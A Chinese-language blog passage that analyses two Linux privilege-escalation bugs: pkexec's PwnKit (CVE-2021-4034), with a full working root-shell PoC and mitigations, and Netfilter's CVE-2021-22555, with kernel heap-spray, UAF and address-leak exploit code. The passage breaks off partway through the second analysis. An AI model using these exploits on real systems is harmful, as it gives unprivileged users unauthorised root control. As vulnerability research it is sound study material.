3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//ex.c
#include <stdio.h>
#include <unistd.h>

int main(int argc, char *argv[]){
char *args[]={"./t","-l",NULL};
char *enp[]={0,NULL};
execve("./t",args,enp);
return 0;
}

➜ vim ex.c
~/t2 took 24s
➜ gcc ex.c -o ex
~/t2
➜ ./ex
argc:2
argv[0]:./t
argv[1]:-l
argv[2]:(null)

前面 POC 中 L26,使用了 execve()

1
2
25         char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
26 execve("/usr/bin/pkexec", (char*[]){NULL}, env);

但是参数使用方法和我们测试的不同,第二个参数使用了 (char*[]){NULL} 进行填充。我们来测试一下这样会有什么结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//ex.c
#include <stdio.h>
#include <unistd.h>

int main(int argc, char *argv[]){
//char *args[]={"./t","-l",NULL};
char *enp[]={0,NULL};
execve("./t",(char*[]){NULL},enp);
return 0;
}

~/t2
➜ vim ex.c
~/t2 took 31s
➜ gcc ex.c -o ex
~/t2
➜ ./ex
argc:0
argv[0]:(null)

此时我们发现 argc 为 0,且 argv[0] 内容为空,不再是程序本身。这有什么用呢?用处很大。

pkexec 中的越界读取

现在来分析 pkexec 的代码,其 main() 函数主要结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
435 main (int argc, char *argv[])
436 {
...
534 for (n = 1; n < (guint) argc; n++)
535 {
...
568 }
...
610 path = g_strdup (argv[n]);
...
629 if (path[0] != '/')
630 {
...
632 s = g_find_program_in_path (path);
...
639 argv[n] = path = s;
640 }

其中有两个 glib 提供的函数 g_strdup()g_find_program_in_path() ,先熟悉一下:

  • g_strdup() 复制一个字符串,声明如下:
    1
    2
    gchar *
    g_strdup (const gchar *str);
  • g_find_program_in_path() 在用户路径中定位第一个名为 program 的可执行程序,与 execvp() 定位它的方式相同。返回具有绝对路径名的已分配字符串,如果在路径中找不到程序,则返回 NULL。如果 program 已经是绝对路径,且如果 program 存在并且可执行,则返回 program 的副本,否则返回 NULL。
    1
    2
    3
    4
    gchar*
    g_find_program_in_path (
    const gchar* program
    )

再看 main() 函数中:

  • L534-L568,用来处理命令行参数
    • L534:n=1,当 argc=1 时,不会进入循环,比如:pkexec;当 argc>1时,才会进入循环,比如:pkexec --version
  • L610-L640,如果其路径不是绝对路径,会在 PATH 中搜索要执行的程序
    • L610:使用 g_strdup() 复制 argv[n] 的内容到 path,因为在 pkexecargv[n] 就是目标路径,比如:pkexec reboot
    • L629:这里判断是否是绝对路径的方法比较巧妙,使用 path[0] != '/' 来判断
    • L632:检索目标路径,返回目标路径字符串
    • L639:将返回的路径赋值给 pathargv[n]

正常情况下,这样处理的逻辑没有问题。
但如果命令行参数 argc 为 0,则会出现意外情况:

  • L534,n 永久设置为 1;
  • L610,argv[1] 发生越界读取,并把越界读取到的值赋给了 path
  • L639,指针 s 被越界写入 argv[1]

问题在于,这个越界的 argv[1] 中读取和写入的是什么?

我们需要先了解参数的内存布局,结合内核代码来分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// linux5.4/fs/binfmt_elf.c:
163 static int
164 create_elf_tables(struct linux_binprm *bprm, struct elfhdr *exec,
165 unsigned long load_addr, unsigned long interp_load_addr)
166 {
...
284 sp = STACK_ADD(p, ei_index);
...
// 布局 main 函数栈
306 /* Now, let's put argc (and argv, envp if appropriate) on the stack */
// argc 入栈
307 if (__put_user(argc, sp++))
308 return -EFAULT;
309
// argv 入栈
310 /* Populate list of argv pointers back to argv strings. */
311 p = current->mm->arg_end = current->mm->arg_start;
312 while (argc-- > 0) {
313 size_t len;
314 if (__put_user((elf_addr_t)p, sp++))
315 return -EFAULT;
316 len = strnlen_user((void __user *)p, MAX_ARG_STRLEN);
317 if (!len || len > MAX_ARG_STRLEN)
318 return -EINVAL;
319 p += len;
320 }
// argv null 入栈
321 if (__put_user(0, sp++))
322 return -EFAULT;
323 current->mm->arg_end = p;
324
// env 入栈
325 /* Populate list of envp pointers back to envp strings. */
326 current->mm->env_end = current->mm->env_start = p;
327 while (envc-- > 0) {
328 size_t len;
329 if (__put_user((elf_addr_t)p, sp++))
330 return -EFAULT;
331 len = strnlen_user((void __user *)p, MAX_ARG_STRLEN);
332 if (!len || len > MAX_ARG_STRLEN)
333 return -EINVAL;
334 p += len;
335 }
// env null 入栈
336 if (__put_user(0, sp++))
337 return -EFAULT;\
...
}

从代码中可以看出,当 execve() 一个新程序时,内核将参数、环境字符串和指针(argv 和 envp)复制到新程序堆栈的末尾,main 函数参数是布局在栈上,argc、argv依次入栈(L307、L321),后面紧接着就是 env 入栈(L325-L336)。
把上面的代码简化成下面的图示:

1
2
3
4
5
|---------+---------+-----+------------|---------+---------+-----+------------|
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|
V V V V V V
"program" "-option" NULL "value" "PATH=name" NULL

可以发现 argv 和 envp 指针在内存中是连续的,如果 argc 为 0,那么越界 argv[1] 实际上是 envp[0],指向第一个环境变量 value 的指针。

argv[1] 是什么解决了,那再回过来看 pkexec 的 main() 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
435 main (int argc, char *argv[])
436 {
...
534 for (n = 1; n < (guint) argc; n++)
535 {
...
568 }
...
610 path = g_strdup (argv[n]);
...
629 if (path[0] != '/')
630 {
...
632 s = g_find_program_in_path (path);
...
639 argv[n] = path = s;
640 }
  • L610,要执行的程序的路径从 argv[1](即 envp[0])越界读取,并指向 value
  • L632,这个路径 value 被传递给 g_find_program_in_path()
  • g_find_program_in_path() 会在 PATH 环境变量的目录中搜索一个名为 value 的可执行文件
  • 如果找到这样的可执行文件,则将其完整路径返回给 pkexec 的 main() 函数(L632)
  • 最后,L639,这个完整路径被越界写入 argv[1](即 envp[0]),覆盖了第一个环境变量。

因此只要能控制 g_find_program_in_path 返回的字符串,就可以注入任意的环境变量。

Qualys 指出如果 PATH 环境变量是 PATH=name,并且目录 name 存在(在当前工作目录中)并且包含一个名为 value 的可执行文件,则写入一个指向字符串 name/value 的指针越界到 envp[0]

进一步,让这个组合的文件名里包含等号 “=”。传入 PATH=name=. ,创建一个 name=. 目录,并在其中放一个可执行文件 value,最终 envp[0] 就会被篡改为 name=./value,也就是注入了一个新的环境变量进去。

换句话说,这种越界写入可以绕过原有的安全检查,将不安全的环境变量(例如,LD_PRELOAD)重新引入 pkexec 的环境。

寻找不安全的环境变量

新的问题是:要成功利用这个漏洞,应该将哪个不安全变量重新引入 pkexec 的环境中?我们的选择是有限的,因为在越界写入后不久(L639),pkexec 完全清除了它的环境(L702):

1
2
3
4
5
6
7
8
9
10
11
12
13
639       argv[n] = path = s;
...
657 for (n = 0; environment_variables_to_save[n] != NULL; n++)
658 {
659 const gchar *key = environment_variables_to_save[n];
...
662 value = g_getenv (key);
...
670 if (!validate_environment_variable (key, value))
...
675 }
...
702 if (clearenv () != 0)

答案来自于 pkexec 的复杂性:为了向 stderr 打印错误消息,pkexec 调用 GLib 的函数 g_printerr()(注意:GLib 是 GNOME 库,而不是 GNU C 库,即 glibc);例如,函数 validate_environment_variable()log_message() 调用 g_printerr() (L126,L408-L409):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
  88 log_message (gint     level,
89 gboolean print_to_stderr,
90 const gchar *format,
91 ...)
92 {
...
125 if (print_to_stderr)
126 g_printerr ("%s\n", s);
------------------------------------------------------------------------
383 validate_environment_variable (const gchar *key,
384 const gchar *value)
385 {
...
406 log_message (LOG_CRIT, TRUE,
407 "The value for the SHELL variable was not found the /etc/shells file");
408 g_printerr ("\n"
409 "This incident has been reported.\n");

g_printerr() 通常打印 UTF-8 错误消息,但如果环境变量 CHARSET 不是 UTF-8,它可以打印另一个字符集中的消息(注意:CHARSET 不是安全敏感的,它不是不安全的环境变量)。

要将消息从 UTF-8 转换为另一个字符集,g_printerr() 调用 glibc 的函数 iconv_open()

要将消息从一个字符集转换为另一个字符集,iconv_open() 执行小型共享库;通常,这些三元组(“from”字符集、“to”字符集和库名称)是从默认配置文件 /usr/lib/gconv/gconv-modules 中读取的。但环境变量 GCONV_PATH 可以强制 iconv_open() 读取另一个配置文件;所以 GCONV_PATH 是不安全的环境变量之一(因为它会导致执行任意库),因此会被 ld.so 从 SUID 程序的环境中删除。

我们可以把 GCONV_PATH 重新引入 pkexec 的环境,并以 root 身份执行我们自己的共享库。

回顾 POC

现在我们对漏洞原理有了更深的认识,再看一看 POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <unistd.h>
4
5 char *shell =
6 "#include <stdio.h>\n"
7 "#include <stdlib.h>\n"
8 "#include <unistd.h>\n\n"
9 "void gconv() {}\n"
10 "void gconv_init() {\n"
11 " setuid(0); setgid(0);\n"
12 " seteuid(0); setegid(0);\n"
13 " system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
14 " exit(0);\n"
15 "}";
16
17 int main(int argc, char *argv[]) {
18 FILE *fp;
19 system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
20 system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
21 fp = fopen("pwnkit/pwnkit.c", "w");
22 fprintf(fp, "%s", shell);
23 fclose(fp);
24 system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
25 char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
26 execve("/usr/bin/pkexec", (char*[]){NULL}, env);
27 }

需要新注意的是:

  1. L26,使用 execve 调用 pkexec(char*[]){NULL}造成 argv[1] 越界读取
  2. L25,一个特殊的数组,env[0]为 payload,env[1]引入了GCONV_PATH
  3. L20,设置非UTF-8环境,也就导致 payload 中 gconv_init 执行,造成 /bin/sh 执行,恢复环境变量得到 root shell。

0x03 漏洞总结

总结一下该漏洞的利用思路:

  1. 通过设置 execve() 的 argv[] 为零,造成 argv[1] 越界读取,并绕过安全检查
  2. 通过 g_printerr 函数发现可控的不安全环境变量 GCONV_PATH
  3. 构造畸形的路径使 pkexec 从指定路径读取环境变量完成提权

这个漏洞的质量非常好,利用思路也很有趣,借用一下 Qualys 对该漏洞的评价

这个漏洞是攻击者的梦想成真。

  • pkexec 默认安装在所有主要的 Linux 发行版上(我们利用了 Ubuntu、Debian、Fedora、CentOS,而其他发行版也可能利用)
  • pkexec 自 2009 年 5 月创建以来就存在漏洞(commit c8c3d83, “Add a pkexec(1) command”)
  • 任何没有特权的本地用户都可以利用这个漏洞来获得完全的 root 权限。
  • 虽然这个漏洞在技术上是一个内存损坏,但它可即时、可靠地、以独立于架构的方式加以利用。
  • 即使 polkit 守护进程本身没有运行,也可以利用。

0x04 漏洞补丁

a. 如何检测该漏洞

检查组件版本:

1
2
➜ pkexec --version
pkexec version 0.105

b. 如何防御该漏洞

及时升级组件

c. 有没有哪种通用的缓解措施可以阻断该漏洞

Qualys 在 报告 中给出了缓解措施:

1
# chmod 0755 /usr/bin/pkexec

即从 pkexec 中删除 SUID 位

RedHat 给出了针对该漏洞的缓解措施:

https://access.redhat.com/security/vulnerabilities/RHSB-2022-001

0x05 参考

  1. CVE-2021-4034 pkexec 本地提权 - 非尝咸鱼贩 [2022-01-26]
  2. PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034) | Qualys Security Blog
  3. https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
  4. 演示视频:PwnKit Vulnerability on Vimeo
  5. Commit:pkexec: local privilege escalation (CVE-2021-4034) (a2bf5c9c) · Commits · polkit / polkit · GitLab
  6. POC:arthepsy/CVE-2021-4034: PoC for PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034)
  7. oss-security - pwnkit: Local Privilege Escalation in polkit’s pkexec (CVE-2021-4034)
  8. CVE-2021-4034:Linux Polkit 权限提升漏洞通告 - 360CERT [2022-01-26]

更早的相关研究

CVE-2021-22555漏洞分析

CVE-2021-22555漏洞分析

author: moxingyuan from iceswordlab

一、漏洞背景

CVE-2021-22555是一个存在了15年之久的内核堆溢出漏洞,它位于内核的Netfilter组件中,这个组件可以被用来实现防火墙、NAT等功能。

该漏洞在2006年由commit 9fa492cdc160cd27ce1046cb36f47d3b2b1efa21引入,并在2021年由commit b29c457a6511435960115c0f548c4360d5f4801d修复。

利用这个漏洞可以导致目标系统拒绝服务,甚至实现提权、容器逃逸并执行任意代码,危害等级极高。

二、漏洞分析

漏洞位于net/netfilter/x_tables.c的xt_compat_target_from_user函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/netfilter/x_tables.c
void xt_compat_target_from_user(struct xt_entry_target *t, void **dstptr,
unsigned int *size)
{
const struct xt_target *target = t->u.kernel.target;
struct compat_xt_entry_target *ct = (struct compat_xt_entry_target *)t;
int pad, off = xt_compat_target_offset(target);
u_int16_t tsize = ct->u.user.target_size;
char name[sizeof(t->u.user.name)];

t = *dstptr;
memcpy(t, ct, sizeof(*ct));
if (target->compat_from_user)
target->compat_from_user(t->data, ct->data);
else
memcpy(t->data, ct->data, tsize - sizeof(*ct));
pad = XT_ALIGN(target->targetsize) - target->targetsize;
if (pad > 0)
memset(t->data + target->targetsize, 0, pad);

tsize += off;
t->u.user.target_size = tsize;
strlcpy(name, target->name, sizeof(name));
module_put(target->me);
strncpy(t->u.user.name, name, sizeof(t->u.user.name));

*size += off;
*dstptr += tsize;
}

缓冲区溢出发生在memset(t->data + target->targetsize, 0, pad)这个语句,其本意是讲已经对齐的缓冲区多余的pad个字节清零。由于在分配内存的时候没有考虑到对齐,t->data之后只有target->targetsize个字节的有效存储空间,导致这里会发生pad个字节的溢出。通过选择不同的target,可以控制targetsize,进而控制溢出字节数pad。

要让内核执行到有漏洞的xt_compat_target_from_user函数,需要在用户空间调用setsockopt,并提供IPT_SO_SET_REPLACE或IP6T_SO_SET_REPLACE作为第3个参数。这个操作需要用户进程拥有CAP_NET_ADMIN能力,而这个能力可以通过切换到新的用户+网络名称空间来获得。

三、EXP分析

EXP下载地址

EXP整体思路是利用堆溢出改写特殊链表的指针,进而实现UAF,最后改写特定内核结构体的函数指针来实现代码执行。

3.1 实现UAF

3.1.1 申请消息队列

通过msgget申请NUM_MSQIDS个消息队列,在EXP中NUM_MSQIDS等于4096。消息队列数目没有特殊要求,数目越多则EXP越稳定,原因后面会解释。这步是为后面的堆喷做准备。

1
2
3
4
5
6
for (int i = 0; i < NUM_MSQIDS; i++) {
if ((msqid[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0) {
perror("[-] msgget");
goto err_no_rmid;
}
}

3.1.2 发送主要消息

通过msgsnd给每个消息队列都发送一个4096字节的消息,暂且称这些消息为主要消息,每个消息的内容是其所在消息队列的序号,分别为0-4095。注意这里所谓的4096字节并非指消息内容的长度,而是指消息传递到内核空间之后,内核为容纳该消息而开辟的堆缓冲区的大小,该缓冲区容纳了一个结构体msg_msg的实例和消息的实际内容,后面所提及的“消息长度”都是指内核缓冲区的长度。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
printf("[*] Spraying primary messages...\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
memset(&msg_primary, 0, sizeof(msg_primary));
*(int *)&msg_primary.mtext[0] = MSG_TAG;
*(int *)&msg_primary.mtext[4] = i;
if (write_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) <
0)
goto err_rmid;
}

int write_msg(int msqid, const void *msgp, size_t msgsz, long msgtyp) {
*(long *)msgp = msgtyp;
if (msgsnd(msqid, msgp, msgsz - sizeof(long), 0) < 0) {
perror("[-] msgsnd");
return -1;
}
return 0;
}

这里所使用的msgsnd函数是最常用的堆喷手段之一,因为传递的消息内容会一成不变地复制到内核缓冲区中,这样就可以达到控制内核缓冲区内容的目的。当消息传递到内核空间时,内核是通过alloc_msg函数来申请堆缓冲区的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/ipc/msgutil.c
static struct msg_msg *alloc_msg(size_t len)
{
struct msg_msg *msg;
struct msg_msgseg **pseg;
size_t alen;

// 取实际消息长度len和DATALEN_MSG中的最小值为第一个消息分片的长度
alen = min(len, DATALEN_MSG);
// 为首个消息分片开辟缓冲区,长度为结构体msg_msg加上alen
msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
if (msg == NULL)
return NULL;

msg->next = NULL;
msg->security = NULL;

len -= alen;
pseg = &msg->next;
// 若首个消息分片不足以容纳完整的消息,将陆续开辟后续的消息分片
while (len > 0) {
struct msg_msgseg *seg;

cond_resched();

alen = min(len, DATALEN_SEG);
// 为后续消息分片开辟缓冲区,长度为结构体msg_msgseg加上alen
seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
if (seg == NULL)
goto out_err;
*pseg = seg;
seg->next = NULL;
pseg = &seg->next;
len -= alen;
}

return msg;

out_err:
free_msg(msg);
return NULL;
}

其中,结构体msg_msg的定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};

struct list_head {
struct list_head *next, *prev;
};

内核为消息开辟好缓冲区后,会将其插入到每个消息队列中,形成一个双向链表,每个消息的m_list.next指针指向下一个消息,m_list.prev指向前一个消息。

需要注意的是,当消息实际内容的长度大于阈值DATALEN_MSG时,内核会对消息进行分片,这在利用过程中是必须要避免的,所幸的是这里选择的长度并不会导致消息分片。

发送完后,极大概率存在部分主要消息在地址上是连续的:

3.1.3 发送次要消息

再给每个消息队列发送1024个字节的次要消息,每个消息的内容同样是其所在消息队列的序号。

1
2
3
4
5
6
7
8
9
printf("[*] Spraying secondary messages...\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
memset(&msg_secondary, 0, sizeof(msg_secondary));
*(int *)&msg_secondary.mtext[0] = MSG_TAG;
*(int *)&msg_secondary.mtext[4] = i;
if (write_msg(msqid[i], &msg_secondary, sizeof(msg_secondary),
MTYPE_SECONDARY) < 0)
goto err_rmid;
}

发送完后,每个主要消息后面都会跟着一个次要消息,且它们的内容是相同的:

3.1.4 释放部分主要消息

从第1024号队列开始,每隔1024个队列释放一个主要消息,这一步释放的缓冲区将在后面触发漏洞时重新申请使用,将间隔设置为1024也是因为这样选出的主要消息所在的内存位置之后紧邻另一个主要消息的可能性更大。

1
2
3
4
5
6
printf("[*] Creating holes in primary messages...\n");
for (int i = HOLE_STEP; i < NUM_MSQIDS; i += HOLE_STEP) {
if (read_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) <
0)
goto err_rmid;
}

3.1.5 触发缓冲区溢出漏洞

重新申请上一步释放的缓冲区,同时触发缓冲区溢出漏洞,将缓冲区外2个字节覆盖为0。前面提到,上一步释放的缓冲区后面极大概率紧跟着一个主要消息,这是因为前面发送了大量主要消息,将内核内存分配器能分配的内存空洞都填满了之后,所获得的缓冲区极大概率是相邻的。所以,申请的消息队列数目越多,发送越多的主要消息,内存空洞被填满的概率越大,EXP也就越稳定。在这种理想情况下,这一步会将缓冲区后面的主要消息的next指针的最低位2个字节覆盖为0,导致其指向另外一个次要消息。这样,就会有2个主要消息的next指针指向同一个次要消息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
printf("[*] Triggering out-of-bounds write...\n");
if (trigger_oob_write(s) < 0)
goto err_rmid;

int trigger_oob_write(int s) {
struct __attribute__((__packed__)) {
struct ipt_replace replace;
struct ipt_entry entry;
struct xt_entry_match match;
char pad[0x108 + PRIMARY_SIZE - 0x200 - 0x2];
struct xt_entry_target target;
} data = {0};

data.replace.num_counters = 1;
data.replace.num_entries = 1;
data.replace.size = (sizeof(data.entry) + sizeof(data.match) +
sizeof(data.pad) + sizeof(data.target));

data.entry.next_offset = (sizeof(data.entry) + sizeof(data.match) +
sizeof(data.pad) + sizeof(data.target));
data.entry.target_offset =
(sizeof(data.entry) + sizeof(data.match) + sizeof(data.pad));

data.match.u.user.match_size = (sizeof(data.match) + sizeof(data.pad));
strcpy(data.match.u.user.name, "icmp");
data.match.u.user.revision = 0;

data.target.u.user.target_size = sizeof(data.target);
strcpy(data.target.u.user.name, "NFQUEUE");
data.target.u.user.revision = 1;

// Partially overwrite the adjacent buffer with 2 bytes of zero.
if (setsockopt(s, SOL_IP, IPT_SO_SET_REPLACE, &data, sizeof(data)) != 0) {
if (errno == ENOPROTOOPT) {
printf("[-] Error ip_tables module is not loaded.\n");
return -1;
}
}

return 0;
}

3.1.6 实现UAF

利用带MSG_COPY参数的msgrcv函数搜索同一消息队列但内容不同的主要消息和次要消息,这样就可以在不释放消息缓冲区的前提下查看消息内容。前面提到,同一消息队列的主要消息和次要消息的内容在正常情况下应该是相同的,如果不同,说明该主要消息的next指针在上一步被改写了,导致2个消息队列包含同一个次要消息。再释放其中一个队列的次要消息,由于另一个队列还在使用该次要消息,就实现了UAF。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
printf("[*] Searching for corrupted primary message...\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
if (i != 0 && (i % HOLE_STEP) == 0)
continue;
if (peek_msg(msqid[i], &msg_secondary, sizeof(msg_secondary), 1) < 0)
goto err_no_rmid;
if (*(int *)&msg_secondary.mtext[0] != MSG_TAG) {
printf("[-] Error could not corrupt any primary message.\n");
goto err_no_rmid;
}
if (*(int *)&msg_secondary.mtext[4] != i) {
fake_idx = i;
real_idx = *(int *)&msg_secondary.mtext[4];
break;
}
}

if (fake_idx == -1 && real_idx == -1) {
printf("[-] Error could not corrupt any primary message.\n");
goto err_no_rmid;
}

// fake_idx's primary message has a corrupted next pointer; wrongly
// pointing to real_idx's secondary message.
printf("[+] fake_idx: %x\n", fake_idx);
printf("[+] real_idx: %x\n", real_idx);

printf("[*] Freeing real secondary message...\n");
if (read_msg(msqid[real_idx], &msg_secondary, sizeof(msg_secondary),
MTYPE_SECONDARY) < 0)
goto err_rmid;

3.2 绕过SMAP

如果内核开启了SMAP,用户空间的数据将不能被内核访问,就需要通过信息泄露获取内核空间的地址来利用内核空间的数据。

3.2.1 构造伪次要消息

上一步释放了一个次要消息所占据的缓冲区,为了方便说明,后面称之为关键缓冲区。关键缓冲区虽然被释放了,但还是有一个消息队列在使用关键缓冲区。

通过write函数向UNIX socket写入数据的方式构造许多个伪次要消息,之所以要构造多个,是为了切实地将虚假数据写入已经被释放的关键缓冲区中。这也是实现堆喷的重要手段,由于没有多余的数据结构占据通过该手段写入的缓冲区,因而可以完全控制内核缓冲区的内容。

这里构造的伪次要消息的m_ts字段(表示消息内容长度的字段)为不需要分片的最大消息内容长度,要远远大于1024字节的真实次要消息内容长度,相当于将相邻的次要消息也纳入伪次要消息的范围。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// Reclaim the previously freed secondary message with a fake msg_msg of
// maximum possible size.
printf("[*] Spraying fake secondary messages...\n");
memset(secondary_buf, 0, sizeof(secondary_buf));
build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242,
PAGE_SIZE - MSG_MSG_SIZE, 0);
if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
goto err_rmid;

void build_msg_msg(struct msg_msg *msg, uint64_t m_list_next,
uint64_t m_list_prev, uint64_t m_ts, uint64_t next) {
msg->m_list_next = m_list_next;
msg->m_list_prev = m_list_prev;
msg->m_type = MTYPE_FAKE;
msg->m_ts = m_ts;
msg->next = next;
msg->security = 0;
}

int spray_skbuff(int ss[NUM_SOCKETS][2], const void *buf, size_t size) {
for (int i = 0; i < NUM_SOCKETS; i++) {
for (int j = 0; j < NUM_SKBUFFS; j++) {
if (write(ss[i][0], buf, size) < 0) {
perror("[-] write");
return -1;
}
}
}
return 0;
}

3.2.2 越界读取相邻次要消息

由于构造的伪次要消息的m_ts字段要远大于真实次要消息内容长度,通过读取该消息可以越界读取相邻次要消息的头部内容,包括next指针,这样就获得了该next指针所指向的主要消息的地址(消息队列是双向链表)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// Use the fake secondary message to read out-of-bounds.
printf("[*] Leaking adjacent secondary message...\n");
if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0)
goto err_rmid;

// Check if the leak is valid.
if (*(int *)&msg_fake.mtext[SECONDARY_SIZE] != MSG_TAG) {
printf("[-] Error could not leak adjacent secondary message.\n");
goto err_rmid;
}

// The secondary message contains a pointer to the primary message.
msg = (struct msg_msg *)&msg_fake.mtext[SECONDARY_SIZE - MSG_MSG_SIZE];
kheap_addr = msg->m_list_next;
if (kheap_addr & (PRIMARY_SIZE - 1))
kheap_addr = msg->m_list_prev;
printf("[+] kheap_addr: %" PRIx64 "\n", kheap_addr);

3.2.3 再次构造伪次要消息

获得了相邻次要消息所指向的主要消息的地址后,通过read函数读取socket内容的方式释放伪次要消息,让关键缓冲区再次进入被释放状态。然后,以相同的方式重新构造伪次要消息,这次构造的m_ts字段要大于消息分片的阈值,next字段等于相邻次要消息所指向的主要消息的地址-结构msg_msgseg的长度,这样做相当于将该主要消息伪造成下一个消息片段,那么在读取伪次要消息时,就可以读取该主要消息的next指针,该指针指向相邻次要消息,将指针内容减去1024即可获得伪次要消息即关键缓冲区的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// Put kheap_addr at next to leak its content. Assumes zero bytes before
// kheap_addr.
printf("[*] Spraying fake secondary messages...\n");
memset(secondary_buf, 0, sizeof(secondary_buf));
build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242,
sizeof(msg_fake.mtext), kheap_addr - MSG_MSGSEG_SIZE);
if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
goto err_rmid;

// Use the fake secondary message to read from kheap_addr.
printf("[*] Leaking primary message...\n");
if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0)
goto err_rmid;

// Check if the leak is valid.
if (*(int *)&msg_fake.mtext[PAGE_SIZE] != MSG_TAG) {
printf("[-] Error could not leak primary message.\n");
goto err_rmid;
}

// The primary message contains a pointer to the secondary message.
msg = (struct msg_msg *)&msg_fake.mtext[PAGE_SIZE - MSG_MSG_SIZE];
kheap_addr = msg->m_list_next;
if (kheap_addr & (SECONDARY_SIZE - 1))
kheap_addr = msg->m_list_prev;

// Calculate the address of the fake secondary message.
kheap_addr -= SECONDARY_SIZE;
printf("[+] kheap_addr: %" PRIx64 "\n", kheap_addr);

3.3 绕过KASLR/SMEP

接下来将通过泄露内核.data段的地址来绕过KASLR,并通过利用内核gadget构造ROP链来绕过SMEP。

3.3.1 释放伪次要消息

前面构造的伪次要消息的内容是通过socket写入的,那么内核肯定有一个跟socket相关的结构体是指向伪次要消息缓冲区的,事实上该结构体为sk_buff。

由于结构体msg_msg占据了消息缓冲区前面部分,msgrcv不能完全读取缓冲区的内容,而通过socket则相反。因此,需要通过msgrcv将关键缓冲区释放,后面通过socket读取关键缓冲区的内容。

由于之前构造的伪次要消息的next和prev指针不是有效的地址,现阶段不能直接通过msgrcv释放该伪次要消息,因为内核会检查消息队列链表的完整性。

为了能通过msgrcv释放伪次要消息,需要依次执行以下步骤:

  1. 通过读取socket释放关键缓冲区。
  2. 通过写入socket再次申请关键缓冲区,写入内容为重新构造的伪次要消息,其next和prev指针为自身地址,这样就能绕过链表完整性检查。
  3. 通过msgrcv释放伪次要消息。
1
2
3
4
5
6
7
8
9
10
11
12
13
printf("[*] Freeing fake secondary messages...\n");
free_skbuff(ss, secondary_buf, sizeof(secondary_buf));

// Put kheap_addr at m_list_next & m_list_prev so that list_del() is possible.
printf("[*] Spraying fake secondary messages...\n");
memset(secondary_buf, 0, sizeof(secondary_buf));
build_msg_msg((void *)secondary_buf, kheap_addr, kheap_addr, 0, 0);
if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
goto err_rmid;

printf("[*] Freeing sk_buff data buffer...\n");
if (read_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), MTYPE_FAKE) < 0)
goto err_rmid;

3.3.2 泄露内核地址

上一步执行完后,还有sk_buff指向关键缓冲区,那么,如果在关键缓冲区填入包含指向内核.data段指针的数据结构,再通过读取socket来获得缓冲区的完整内容,就可以获得内核.data段的地址,进而计算出.text段的地址,让利用内核gadget成为可能。

结构体pipe_buffer是个很好的目标,其定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
